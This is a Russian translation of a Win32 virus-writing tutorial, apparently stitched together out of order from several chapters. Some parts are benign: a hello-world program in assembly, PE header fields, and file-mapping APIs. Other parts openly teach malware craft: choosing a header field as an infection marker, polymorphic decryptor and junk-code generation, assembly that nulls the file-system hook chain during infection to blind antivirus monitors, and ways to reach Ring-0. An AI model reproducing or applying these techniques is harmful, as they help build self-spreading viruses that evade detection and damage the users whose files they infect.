    Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, используемых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров.

    Это очень легко. Мы должны

    Это очень легко. Мы должны использовать функцию API "MessageBoxA", поэтому мы определяем ее с помощью команды "extrn", а затем помещаем параметры в стек и вызываем эту функцию. Обратите внимание, что строки должны быть в формате ASCIIZ (ASCII, 0). Помните, что параметры должны помещаться в стек в перевернутом порядке.

    ;---[ CUT HERE ]-------------------------------------------------------------

    .386 ; Процессор (386+) .model flat ; Использует 32-х битные ; регистры

    extrn ExitProcess:proc ; Функции API, которые extrn MessageBoxA:proc ; использует программа

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; С помощью директивы "extrn" мы указываем, какие API мы будем использовать; ; ExitProcess возвращает контроль операционной системе, а MessageBoxA ; ; показывает классическое виндовозное сообщение. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    .data szMessage db "Hello World!",0 ; Message for MsgBox szTitle db "Win32 rocks!",0 ; Title of that MsgBox

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Здесь мы не будем помещать данные настоящего вируса. Фактически, только ; ; из-за того, что TASM отказывается ассемблировать код, если мы не поместим; ; здесь какие-нибудь данные. Как бы то ни было... Помещайте здесь данные ; ; 1-го поколения носителя вашего вируса. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    .code ; Поехали!

    HelloWorld: push 00000000h ; Стиль MessageBox push offset szTitle ; Заголовок MessageBox push offset szMessage ; Само сообщение push 00000000h ; Хэндл владельца

    call MessageBoxA ; Вызов функции

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; int MessageBox( ; ; HWND hWnd, // хэндл окна-владельца ; ; LPCTSTR lpText, // адрес текста сообщения ; ; LPCTSTR lpCaption, // адрес заголовка MessageBox'а ; ; UINT uType // стиль MessageBox'а ; ; ); ; ; ; ; Мы помещаем параметры в стек до вызова самой API-функции, и если вы ; ; помните, стек построен согласно принципу LIFO (Last In First Out), ; ; поэтому мы должны помещать параметры в перевернутом порядке (при всем ; ; уважении к автору данного туториала, я должен сказать, что он не прав ; ; вовсе не поэтому мы должны помещать данные в перевернутом порядке - прим.; ; пер.). Давайте посмотрим на краткое описание каждого из параметров этой ; ; функции: ; ; ; ; ¦ hWnd: идентифицирует окно-владельца messagebox'а, который должен быть ; ; создан. Если этот параметр равняется NULL, у окна с сообщением не будет; ; владельца. ; ; ¦ lpText: указывает на ASCIIZ-строку, содержащую сообщение, которое нужно; ; отобразить. ; ; ¦ lpCaption: указывает на ASCIIZ-строку, содержащую заголовок окна ; ; сообщения. Если этот параметр равен NULL, будет использован заголовок ; ; по умолчанию. ; ; ¦ uType: задает флаги, которые определяют содержимое и поведение ; ; диалогового окна. Это параметр может быть комбинацией флагов. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    push 00000000h call ExitProcess

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; VOID ExitProcess( ; ; UINT uExitCode // код выхода для всех ветвей ; ; ); ; ; ; ; Эта функция эквивалентна хорошо известному Int 20h или функциям 00, 4С ; ; Int 21h. Она просто завершает выполнение текущего процесса. У нее только ; ; один параметр: ; ; ; ; ¦ uExitcode: задает код выхода для процесса и всех ветвей, выполнение ; ; которых будет прервано вызовом данной функции. Используйте функцию ; ; GetExitCodeProcess, чтобы получить код возврата процесса, а функцию ; ; GetExitCodeThread, чтобы получить код возврата треда. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    end HelloWorld

    ;---[ CUT HERE ]-------------------------------------------------------------

    Как вы можете видеть, это все очень просто программируется. а теперь, когда вы знаете, как сделать "Hello, world!", вы можете заразить весь мир ;).

    IMAGE_FILE_HEADER

    IMAGE_FILE_HEADER
    Я дам краткое описание (резюме того, что сказал в своем прекрасном документе о формате PE-файла Мэтт Питрек) полей IMAGE_FILE_HEADER.
    ¤ PE\0\0:
    Это метка, которая есть у каждого PE-файла. Просто проверяйте ее существование при заражении файла. Если метки нет, то это не PE-файл, ок?
    ¤ Машина:
    Так как компьютером, который мы используем может быть несовместим с PC (теоретически), а PE-файлы могут быть и на таких компьютерах, в этом поле указывается тип машины, для которой предназначается приложение. Это может быть одно из следующих значений:
    IMAGE_FILE_MACHINE_I386 equ 14Ch ; Intel 386. IMAGE_FILE_MACHINE_R3000 equ 162h ; MIPS little-endian,160h big-endian IMAGE_FILE_MACHINE_R4000 equ 166h ; MIPS little-endian IMAGE_FILE_MACHINE_R10000 equ 168h ; MIPS little-endian IMAGE_FILE_MACHINE_ALPHA equ 184h ; Alpha_AXP IMAGE_FILE_MACHINE_POWERPC equ 1F0h ; IBM PowerPC Little-Endian
    ¤ Количество секций:
    Это поле играет важную роль при заражении. Оно сообщает, сколько секций в файле.
    ¤ Временной штамп:
    Содержит количество секунд, которое прошло с декабря 31-ого 1969 года с 4:00 до того момента, когда файл был слинкован.
    ¤ Указатель на таблицу символов
    Не интересно, поскольку используется только в OBJ-файлах.
    ¤ Количество символов:
    Не интересно, поскольку используется только в OBJ-файлах.
    ¤ Размер опционального заголовка:
    Содержит количество байтов, которое занимает IMAGE_OPTIONAL_HEADER (смотри описание
    ¤ Характеристики:
    Флаг дает нам еще кое-какую информацию о файле. Нам это не интересно.

    IMAGE_OPTIONAL_HEADER

    IMAGE_OPTIONAL_HEADER
    ¤ Magic:
    Так как это поле всегда равно 010Bh, похоже, что это какая-то сигнатура. Не интересно.
    ¤ Старшая и младшая версии линкера:
    Версия линкера, который создал файл. Не интересно.
    ¤ Размер кода:
    Количество байт (округленное) во всех секциях, содержащих исполняемый код.
    ¤ Размер инициализированных данных:
    Предполагается, что здесь должен указываться общий размер всех секций с инициализированными данными.
    ¤ Размер неинициализированных данных:
    Неинициализированные данные не занимают места на винте, но когда система загружает файл, она выделяет ему некоторое количество памяти (виртуальную память).
    ¤ Адрес точки входа:
    Где загрузчик начнет выполнение кода. Это RVA относительно базы образа, когда система загружает файл. Очень интересно.
    ¤ База кода:
    RVA, откуда начинаются секции файла с кодом. Секции с кодом обычно идут до секций с данными и после PE-заголовка. Для файлов, произведенных с помощью микрософтовских линкеров, этот RVA обычно равен 0x1000. TLINK32, похоже, добавляет к этому RVA базу образа и сохраняет результат в данном поле.
    ¤ База данных
    RVA, откуда начинаются секции с данными. Они обычно идут последними после PE-заголовка и секций с кодом.
    ¤ База образа:
    Когда линкер создает экзешник, он предполагает, что файл будет промэппирован в определенное место в памяти. Этот адрес и хранится в данном поле, делая возможным определенную оптимизацию со стороны линкера. Если файл действительно промэппирован по этому адресу, код не нуждается в каком-либо патчении перед запуском. В экзешниках, компилируемых для Windows NT, база образа по умолчанию равна 0x10000, а для DLL он по умолчанию равен 0x400000. В Win9x адрес 0x10000 не может использоваться при загрузке 32-х битных EXE, так как он находится внутри региона, разделяемого всеми процессами. Из-за этого Микрософт изменил адрес базы по умолчанию на 0x400000.
    ¤ Выравнивание секций:
    При мэппировании секции выравниваются таким образом, чтобы они начинались с виртуального адреса, кратного данному значению. Выравнивание секций по умолчанию равно 0x1000.

    ¤ Файловое выравнивание:

    В PE-файле raw-данные, представляющие каждую из секций, начинаются со значения, кратного данному параметру. По умолчанию он равен 0x200, вероятно, потому что тогда секции будут начинаться с начала сектора диска (который также равен 0x200 байтам). Это поле эквивалентно размеру выравнивания сегментов/ресурсов в NE-файлах. В отличии от NE-файлов, PE-файлы не имеют сотен секций, поэтому на файловое выравнивание уходит очень мало место.

    ¤ Старшая и младшая версии операционной системы:

    Минимальная версия операционной системы, которая требуется для использования данной программы. Назначение данного поля не совсем ясно, так как поля подсистемы служат, похоже, той же самой цели. Это поле по умолчанию равно 1.0.

    ¤ Младшая и старшая версии образа:

    Задаваемое пользователем поле. Оно позволяет вам иметь разные версии EXE или DLL. Вы можете установить значения этих полей с помощью опции линкера /VERSION. Например "LINK /VERSION:2.0 myobj.obj".

    ¤ Старшая и младшая версии подсистемы:

    Содержат минимальную версию подсистемы, которая требуется для запуска данной программы. Типичное значение этого поля - 3.10 (что означает Windows NT 3.1).

    ¤ Зарезервировано1:

    Похоже, что оно всегда равно 0 (идеально для метки заражения).

    ¤ Размер образа:

    Похоже, что это полный размер всех частей образа, о которых должен позаботиться загрузчик. Это размер региона, начинающегося от базы образа до конца последней секции, который округляется до ближайшего числа, кратного выравниванию секций.

    ¤ Размер заголовков:

    Размер PE-заголовка и таблицы секций (объектов). Raw-данные секций начинаются непосредственно после всех компонентов заголовка.

    ¤ Чексумма:

    Предположительно CRC файла. Как и в других микрософтовских форматах исполняемых файлов, это поле игнорируется и устанавливается в 0. Есть одно исключение из этого правила: в доверенных (trusted) сервисах и EXE это поле должно содержать верную чексумму.

    ¤ Подсистема:

    Тип подсистемы, используемой приложением для пользовательского интерфейса.


    NATIVE 1 Не требует подсистемы (например драйвер устройства) WINDOWS_GUI 2 Выполняется в подсистеме Windows GUI WINDOWS_CUI 3 Выполняется в символьной подсистеме Windows (консольное приложение) OS2_CUI 5 Выполняется в символьной подсистеме OS/2 (только OS/2 1.x) POSIX_CUI 7 Выполняется в символьной подсистеме Posix

    ¤ Характеристики DLL:

    Набор флагов, задающий при каких условиях будет вызываться функция инициализации DLL (например DLLMain). Похоже, что это значение всегда равно 0, тем не менее операционная система вызывает инициализацию DLL для всех 4-х событий.

    1 Вызывать инициализацию, когда DLL впервые загружается в адресное пространство процесса 2 Вызывать инициализацию, когда тред завершает работу 4 Вызывать инициализацию, когда тред начинает работу 8 Вызывать инициализацию, когда DLL завершает свою работу

    ¤ Размер зарезервированного стека:

    Количество виртуальной памяти, резервируемой для начального стека треда. Тем не менее, не вся эта память выделяется (смотри следующее поле). Это поле по умолчанию равно 0x100000. Если вы укажете 0 в качестве размера стека при создании треда функцией CreateThread, именно столько будет занимать стек нового треда.

    ¤ Размер выделенного стека:

    Количество памяти, выделяемой для начального стека треда. Это поле по умолчанию равно 0x1000 (1 страница) у Microsoft Linker, в то время как TLINK32 делает это поле равным двум страницам.

    ¤ Размер зарезервированной кучи:

    Количество виртуальной памяти, которое необходимо зарезервировать для начальной кучи процесса. Этот хэндл кучи можно получить, вызывав GetProcessHeap. Нет вся эта память выделяется (смотри следующее поле).

    ¤ Размер выделенной кучи:

    Количество памяти, изначально выделяемой для кучи процесса. По умолчанию - одна страница.

    ¤ Флаги загрузчика:

    Согласно WINNT.H эти поля относятся к поддержке отладки. Я никогда не видел экзешника с установленными битами этого поля, да и как заставить линкер их установить не совсем понятно.

    1. Вызвать инструкцию точки прерывания перед запуском процесса 2. Вызвать отладчик после того, как процесс будет загружен в память

    ¤ Number Of Rva And Sizes:

    Количество элементов в массиве DataDirectory (ниже). Современные компиляторы всегда устанавливает это поле равным 16.

    IMAGE_SECTION_HEADER

    IMAGE_SECTION_HEADER
    ¤ Имя секции:
    Это 8-ми байтовое имя в формате ANSI (UNICODE), которая задает имя секции. Большая часть имен секций начинается с "." (например ".text"), но это не обязательное требование как утверждают некоторые руководства по формату PE. Вы можете назвать вашу секцию как хотите с помощью специальной директивы ассемблера или с помощью "#pragma data_seg" и "#pragma code_seg" в Microsoft C/C++ компиляторе. Важно учитывать, что если имя секции занимает 8 байт, то в конце не будет NULL-байта. Вы можете использовать %.8s с функцией printf, чтобы скопировать строку в другой буфер и добавить NULL в конце.
    ¤ Виртуальный размер:
    Значение этого файла отличается в EXE и OBJ. В EXE он содержит реальный размер код или данных. Это размер до округления до ближайшего числа, кратного файловому выравниванию. Поле SizeOfRawData 'размер raw-данных' (похоже, названное не совсем верно) содержит округленное значение. Линкер Borland'а меняет значения этих двух полей и похоже, что он прав. Для OBJ файлов этой поле означает физический адрес секции. Первая секция начинается с адреса 0. Чтобы найти физический адрес следующей секции в OBJ-файле, добавьте значение SizeOfRawData к физическому адресу текущих секции.
    ¤ Виртуальный адрес:
    В EXE это поле содержит RVA на то место, куда загрузчику следует промэппировать секцию. Чтобы посчитать реальный стартовый адрес данной секции в памяти и добавьте базовый адрес образа к виртуальному адресу (поле VirtualAddress). Микрософтовские инструменты по умолчанию указывают на RVA 0x1000. В OBJ'ах это поле не имеет значения и установлено в 0.
    ¤ Размер raw-данных:
    В EXE это поле содержит округленный до кратного файловому выравниванию числа размер секции. Например, предположим, что файловое выравнивание равно 0x200. Если поле VirtualSize содержит значение 0x35A, в этом поле будет находиться 0x400. В OBJ'ах это поле содержит точный размер секции, созданной компилятором или ассемблером. Другими словами для OBJ это поле играет ту же роль, что и виртуальный размер в EXE.

    ¤ Указатель на raw-данные:

    Это смещение на raw-данные, которое меняется от файла к файлу. Если ваша программа самостоятельно загружает файл PE или COFF в память (вместо того, чтобы позволить сделать это операционной системе), это поле более важно, чем VirtualAddress - по этому смещению вы найдете данные секций, а не по RVA, указанном в поле виртуального адреса.

    ¤ Указатель на релокейшены:

    В OBJ'ах это смещение на информацию о релокейшенах данной секции. Информация о релокейшенах каждой секции OBJ следует непосредственно за raw-данными этой секции. В EXE это поле не имеет значения (как и следующее поле) и установлено в ноль. Когда линкер создает EXE, он устанавливает большую часть адресных записей (fixups), и только релокейшены адреса базы и импортируемых функций устанавливаются во время загрузки. Информация о релокейшенах базы и импортируемых функций находится в специальных секциях, поэтому в EXE нет необходимости держать информацию о релокейшенах после каждой секции raw-данных.

    ¤ Указатель на номера строк:

    Это смещение на таблице номеров строк. Эта таблица соотносит номера строк исходного кода со сгенерированным кодом для каждой конкретной строки. В современных отладочных форматах, таких как формат CodeView, информация о номерах строк хранится как часть отладочной информации. В отладочном формате COFF, тем не менее, информация о номерах строк хранится отдельно от символьной информации о именах/типах. Обычно только секциим кода (такие как .text) требуется данная информация. В EXE-файлах номера строк собираются ближе к концу файла после raw-данных секций. В OBJ-файлах таблица номеров строк для секций находится после секции данных и таблицы релокейшенов для этой секции.

    ¤ Количество релокейшенов:

    Количество релокейшенов в соответствующей таблице для данной секции (поле PointerToRelocations - 'указатель на релокейшены'). Похоже, что данное поле содержит верные данные только в OBJ'ах.

    ¤ Количество номеров строк:

    Количество номеров строк в соответствующей таблице для данной секции.


    ¤ Характеристики:

    То, что большинство программистов называет флагами, формат COFF/PE называет характеристиками. Это поле является множеством флагов, которые задают атрибуты секции (такие как код/данные, доступно ли для чтения или для записи). Чтобы получить полный список всех возможных аттрибутов секций, смотрите IMAGE_SCN_XXX_XXX #defin'ы в WINNT.H. Некоторые из важных флагов приведены ниже:

    0x00000020 Эта секция содержит код. Обычно устанавливается вместе с флагом выполняемого кода (0x80000000).

    0x00000040 Эта секция содержит инициализированные данные. Этот флаг есть почти у всех секций кроме секции выполняемого кода и .bss.

    0x00000080 Эта секция содержит неинициализированные данные (например секция .bss).

    0x00000200 Эта секция содержит комментарии или другой тип информации. Типичное использование данной секции - это секция .drectve, добавляемая компилятором и содержащая команды для линкера.

    0x00000800 Содержимое этой секции не должно помещаться в конечный EXE-файл. Эти секции используются компилятором/ассемблером, чтобы передать информацию линкеру.

    0x02000000 Эту секция можно выгрузить из памяти после загрузки (например секция с релокейшенами - .reloc).

    0x10000000 Эта секция является разделяемой. Если используется вместе с DLL, данные в этой секции будут разделяться всеми процессами, ее использующими. По умолчанию секции данных являются неразделяемыми, и это означает, что каждый процесс, использующий DLL получает свою собственную копию этой секции данных. Если использовать техническую терминологию, флаг разделяемости говорит менеджеру загрузки, чтобы тот установил мэппинги страниц таким образом, чтобы все процессы, использующие DL ссылались на одну и ту же физическую страницу в памяти. Чтобы сделать секцию разделямой, используйте аттрибут SHARED во время линковки. Например:

    LINK /SECTION:MYDATA,RWS ...

    говорит линкеру, что секция под названием MYDATA должна быть доступной для чтения и записи, а также быть разделяемой.

    0x20000000 Эта секция является исполняемой. Этот флаг обычно устанавливается везде, где установлен флаг кода (0x00000020).

    0x40000000 Эта секция доступня для чтения. Этот флаг установлен почти для всех секций EXE-файла.

    0x80000000 Эта секция доступна для записи. Если этот флаг не установлен в секции EXE, загрузчик должен пометить промэппированные страницы как доступные только для чтения или выполнения. Обычно такой аттрибут есть у секций .data и .bss. Что интересно, у секции .idata этот атрибут тоже установлен.

    Изменения между 16-ти и 32-х битным программированием

    Как правило мы будем работать с двойными словами вместо слов, и это открывает перед нами новые возможности. У нас есть на два сегмента больше, кроме уже известных CS, DS, ES и SS: FS и GS. И у нас есть новые 32-х битные регистры: EAX, EBX, ECX, EDX, ESI, EDI, EBP и ESP. Давайте посмотрим, как играть с регистрами: представьте, что у нас есть доступ к нижнему слову EAX. Что мы можем сделать? До этой части можно добраться с помощью AX, который и является нижним словом EAX. Например, EAX = 00000000, а мы хотим поместить 1234h в его нижнее слово. Мы просто должны сделать "mov ax, 1234h" и все. Но что, если нам нужен доступ к верхнему слову EAX? Для этих целей мы не можем использовать регистр: мы должны прибегнуть к какой-нибудь из инструкций вроде ROL (или SHL, если значение нижнего слова для нас неважно).
    Давайте продолжим и рассмотрим типичную программу, которую пишет кодер, изучая новый язык: "Hello, world!" :).

    Как я могу сделать полиморф?

    Во-первых, вы должны представлять себе, как выглядит расшифровщик. Например:
    mov ecx,virus_size lea edi,pointer_to_code_to_crypt mov eax,crypt_key @@1: xor dword ptr [edi],eax add edi,4 loop @@1
    Очень простой пример, да? Ладно, здесь у нас шесть блоков (каждая инструкция - это блок). Представьте, как много у вас возможностей сделать этот код другим:
    - Изменять регистры - Изменять порядок первых трех инструкций - Использовать разные инструкции, чтобы делать одно и то же - Вставить ничего не делающие инструкции - Вставить мусор и так далее
    Это основная идея полиморфизма. Давайте посмотрим, что может сгенерировать простой полиморфный движок на основе того же декриптора:
    shl eax,2 add ebx,157637369h imul eax,ebx,69 (*) mov ecx,virus_size rcl esi,1 cli (*) lea edi,pointer_to_code_to_crypt xchg eax,esi (*) mov eax,crypt_key mov esi,22132546h and ebx,0FF242569h (*) xor dword ptr [edi],eax or eax,34548286h add esi,76869678h (*) add edi,4 stc push eax xor edx,24564631h pop esi (*) loop 00401013h cmc or edx,132h [...]
    Вы уловили идею? Конечно, поймать антивирусу подобный декриптор не будет слишком трудно (хотя и значительно труднее, чем незащищенный вирус). Здесь можно сделать много улучшений, поверьте мне. Я думаю, что вы уже поняли, что в вашем полиморфном движке нам понадобятся разные процедуры: одна для создания "легитимных" инструкций декриптора, а другая - для создания мусора. Это основная идея написания полиморфных движков. С этого момента я попытаюсь объяснить все это настолько хорошо, насколько могу.

    Как компилировать программы

    Черт, я почти забыл об этом :). Используются обычные параметры для компиляции ассемблерной программы под Win32. Все примеры в данном туториале компилируются со следующими параметрами (где 'program' - это имя файла .asm, но без какого-либо расширения):
    tasm32 /m3 /ml program,,; tlink32 /Tpe /aa program,program,,import32.lib pewrsec program.exe
    Я надеюсь, что это достаточно ясно. Вы также можете использовать make-файлы или написть .bat, который будет делать все автоматически (как сделал я!).
    [C] Billy Belcebu, пер. Aquila
    <<< Назад Вперед >>>


    -> Как откpыть файл для чтения и записи?

    Для этого мы используем функцию CreateFileA. Пpедлагаемые паpаметpы следующие:
    push 00h ; hTemplateFile push 00h ; dwFlagsAndAttributes push 03h ; dwCreationDistribution push 00h ; lpSecurityAttributes push 01h ; dwShareMode push 80000000h or 40000000h ; dwDesiredAccess push offset filename ; lpFileName call CreateFileA
    + У dwCreationDistribution есть несколько интеpесных значений:
    CREATE_NEW = 01h CREATE_ALWAYS = 02h OPEN_EXISTING = 03h OPEN_ALWAYS = 04h TRUNCATE_EXISTING = 05h
    Так как мы хотим откpыть уже существующий файл, мы используем OPEN_EXISTING, то есть 03h. Если для сових нужд нам понадобится откpыть вpеменный файл, мы используем дpугое значение, такое как CREATE_ALWAYS.
    + dwShareMode следует быть pавным 01h, в любом случае мы можем выбиpать только из следующих значений:
    FILE_SHARE_READ = 01h FILE_SHARE_WRITE = 02h
    Таким обpазом мы позволяем читать из откpытого нами файла, но не писать туда!
    + dwDesireAccess опpеделяет паpаметpы доступа к файлу. Мы используем C0000000h, это сумма GENERIC_READ и GENERIC_WRITE, что означает, что нам нужны оба вида доступа :) Вот, смотpите:
    GENERIC_READ = 80000000h GENERIC_WRITE = 40000000h
    ** Этот вызов возвpатит нам 0xFFFFFFFF, если пpоизошла ошибка. Если таковой не случилось, нам будет возвpащен хэндл откpытого файла, котоpый мы сохpаним в соответствующей пеpеменной. Для закpытия этого хэндла (когда потpебуется) мы используем функцию CloseHandle.

    -> Как создавать мэппинг откpытого файла?

    Для этого служит CreateFileMappingA. Пpедлагаемые паpаметpы следующие:
    push 00h ; lpName push size_to_map ; dwMaximumSizeLow push 00h ; dwMaximumSizeHigh push 04h ; flProtect push 00h ; lpFileMappingAttributes push file_handle ; hFile call CreateFileMappingA
    + lpName и lpFileMappingAttributes лучше делать pавными 0.
    + dwMaximumSizeHigh лучше делать pавным 0
    + dwMaximumSizeLow - это pазмеp будущего пpомэппиpованного объекта
    + flProtect может быть одним из следующих значений:

    PAGE_NOACCESS = 00000001h PAGE_READONLY = 00000002h PAGE_READWRITE = 00000004h PAGE_WRITECOPY = 00000008h PAGE_EXECUTE = 00000010h PAGE_EXECUTE_READ = 00000020h PAGE_EXECUTE_READWRITE = 00000040h PAGE_EXECUTE_WRITECOPY = 00000080h PAGE_GUARD = 00000100h PAGE_NOCACHE = 00000200h
    Я пpедлагаю вам использовать PGE_READWRITE, что позволит читать и/или писать без каких-либо пpоблем.
    + hFile - это хэндл откpытого pанее файла, котоpый мы хотим пpомэппиpовать.
    ** Вызов этого API возвpатит нам значение NULL в EAX в случае неудачи; в пpотивном случае нам будет возвpащен хэндл мэппинга. Мы сохpаним его в соответствующей пеpеменной. Чтобы закpыть хэндл мэппинга, следует использовать функцию CloseHandle.
    -> Как пpомэппиpовать файл в адpесное пpостpанство пpоцесса?
    Следует использовать функцию MapViewOfFile. Пpедлагаемые паpаметpы следующие:
    push size_to_map ; dwNumberOfBytesToMap push 00h ; dwFileOffsetLow push 00h ; dwFileOffsetHigh push 02h ; dwDesiredAccess push map_handle ; hFileMappingObject call MapViewOfFile
    + dwFileOffsetLow и dwFileOffsetHigh следует делать pавными 0
    + dwNumberOfBytesToMap - это количество мэппиpуемых байтов файла
    + dwDesiredAccess может быть одним из следующих значений:
    FILE_MAP_COPY = 00000001h FILE_MAP_WRITE = 00000002h FILE_MAP_READ = 00000004h
    Я пpедлагаю FILE_MAP_WRITE.
    + hFileMappingObject должен быть хэндлом мэппинга, возвpащенным пpедыдущим вызовом CreateFileMappingA.
    ** Эта функция возвpатит нам NULL, если пpоизошла какая-нибудь ошибка, в пpотивном случае нам будет возвpащен адpес мэппинга. Чтобы закpыть этот адpес, нужно использовать функцию UnmapViewOfFile.
    -> Как закpыть хэндл файла и хэндл мэппинга?
    Мы должны использовать функцию CloseHandle.
    push handle_to_close ; hObject call CloseHandle
    ** Если закpытие пpошло успешно, нам будет возвpащена 1.

    -> Как закpыть адpес мэппинга?

    Вам нужно использовать функцию UnmapViewOfFile.
    push mapping_address ; lpBaseAddress call UnmapViewOfFile
    ** Если закpытие пpошло успешно, нам будет возвpащена 1.
    [C] Billy Belcebu, пер. Aquila
    <<< Назад Вперед >>>


    Код против VxD-мониторов

    Ох, я должен не забыть упомянуть о парне, который обнаружил это: Super/29A. Теперь я должен объяснить в чем состоит эта крутая вещь. Это относится к уже рассматривавшемуся сервису InstallFileSystemApiHook, но не документировано ребятами из Micro$oft. Сервис InstallFileSystemApiHook возвращает нам интересную структуру:
    EAX + 00h -> Адрес предыдущего обработчика EAX + 04h -> Структура Hook_Info
    Самое важно в этой структуре следующее:
    00h -> Адрес хук-обработчика 04h -> Адрес хук-обработчика от предыдущего обработчика 08h -> Адрес Hook_Info от предыдущего обработчика
    Поэтому мы делаем рекурсивный поиск по структурам, пока не найдем самый первый, использующийся мониторами... И затем мы должны обнулить его. Код? Вот вам порция :) :
    ; EDI = Указывает на копию вируса в системной куче
    lea ecx,[edi+New_Handler] ; Устанавливаем хук файловой системы push ecx @@2: VxDCall IFSMgr_InstallFileSystemApiHook pop ecx
    xchg esi,eax ; ESI = Указатель на текущий ; обработчик push esi lodsd ; add esi,4 ; ESI = Указатель на хук-обработчик tunnel: lodsd ; EAX = Предыдущий хук-обработчик ; ESI = Указатель на Hook_Info xchg eax,esi ; Очень чисто :)
    add esi,08h ; ESI = 3ий dword в структуре: ; предыдущий Hook_Info
    js tunnel ; Если ESI < 7FFFFFFF, это был ; последний :) ; EAX = самый верхний Hook_Info
    mov dword ptr [edi+ptr_top_chain],eax ; Сохр. в перем. в памяти pop eax ; EAX = Посл. хук-обр. [...]
    Не беспокойтесь, если вы не поймете это в первый раз: представьте, сколько я затратил времени, читая код Sexy, чтобы понять это! Ладно, мы сохранили в переменную самый верхний Hook_Info, но теперь нам надо обнулить его на время заражения, а потом восстановить. Следующий фрагмент код должен находиться между проверкой запроса системы на открытие файла и вызовом процедуры заражения файла.
    lea esi,dword ptr [ebx+top_chain] ; ESI = указ. на сохр. перем. lodsd ; EAX = верхний Hook_Info xor edx,edx ; EDX = 0 xchg [eax],edx ; Top Chain = NULL ; EDX = адрес верх. Hook_Info pushad call Infection popad
    mov [eax],edx ; Восст. верх. Hook_Info
    Это было легко, правда? :)

    Кольца

    Я знаю, что все вы очень боитесь того, что сейчас последует, но, как продемонстрирую, все это на самом деле несложно. Вы должны уяснить: у процессора четыре уровня привилегий: Ring-0, Ring-1, Ring-2 и Ring-3, причем последний имеет больше всего ограничений, а первый подобен Валгалле для кодеров, почти полная свобода действий. Вспомните DOS, где мы всегда программировали в Ring-0... А теперь подумайте, что вы сможете делать то же самое под платформами Win32... Ладно, прекратим мечтать и начнем работать.
    Ring-3 - это т.н. "пользовательский" уровень, на котором у нас множество ограничений. Кодеры Microsoft сделали ошибку, когда зарелизили Win95 и сказали, что она "незаражаема". Это было продемонстрировано еще до начала продаж системы Bizatch (которых еще неверно называли Boza, но это другая история). Программисты Microsoft думали, что вирус не сможет добраться до API. Но они не подумали об интеллектуальном превосходстве вирмейкеров... Конечно, мы можем писать вирус и на пользовательском уровне. Достаточно взглянуть на массу новых Win32 вирусов времени выполнения, которые релизятся в настоящее время, они все сделаны под Ring-3... Не поймите меня неверно, я не говорю, что это плохо, и между прочим, только Ring-3 вирусы могут работать под всеми версиями Win32. Они - будущее... в основном из-за того, что скоро будет релиз Windows NT 5.0 (или Windows 2000). Для успешной жизни вируса мы должны найти функции API (то, что написали Bizatch, размножалось плохо, потому что они "захардкодили" адреса API-функций, а они отличаются от версии к версии Windows), что мы можем сделать несколькими способами, о которых я расскажу позже.
    Ring-0 - это другая история, очень отличная от Ring-3. Это уровень, на котором работает ядро. Разве это не прекрасно? Мы можем иметь доступ к портам, к местам, о которых не могли мечтать раньше... это почти что оргазм. Мы не можем выйти в Ring-0 без использования одного из специальных способов, таких как модификация IDT, техника "Call Gate", показанная SoPinKy/29A в 29A#3 или вставки в VMM, техника, продемонстрированная в вирусах Padania или Fuck Harry. Нам не нужны API-функции, так как мы работает напрямую с сервисами VxD и похоже, что их адреса одни и те же во всех версиях Win9x, поэтому мы можем их указывать явно. Я расскажу об этом подробнее во главе, посвященной Ring-0.

    Мультитредность

    Когда мне сказали, что в среде Win32 это очень легко сделать, мне пришло в голову, что это можно использовать для различных целей: выполнение кода во время выполнения другого кода (тоже из нашего вируса). Это было бы очень полезно, так как сэкономит вам время :).
    Ок, основное назначение мультизадачной процедуры следующее:
  • Создайте соответствующую ветвь кода, которую вы хотите запустить
  • Подождите, пока дочерний процесс закончится в коде родительского процесса

  • Это кажется трудноватым, но здесь есть две API-функции, которые могут нас спасти. Их имена: CreateThread и WaitForSingleObject. Давайте посмотрим, что об этих функция говорит справочник по Win32 API.
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    Функция CreateThread создает тред, выполняющийся внутри адресного пространства вызывающего функцию процесса.
    HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, // указ. на аттр. безоп. треда DWORD dwStackSize, // нач. размер стека треда в байтах LPTHREAD_START_ROUTINE lpStartAddress, // указатель на функцию треда LPVOID lpParameter, // аргументы для нового треда DWORD dwCreationFlags, // флаги создания LPDWORD lpThreadId // указатель на возвращенный идентификатор треда );
    Параметры ---------
    • lpThreadAttributes: указатель на структуру SECURITY_ATTRIBUTES, которая определяет, сможет ли возвращенный хэндл наследоваться дочерним процессом. Если lpThreadAttributes равен NULL, хэндл не может наследоваться.
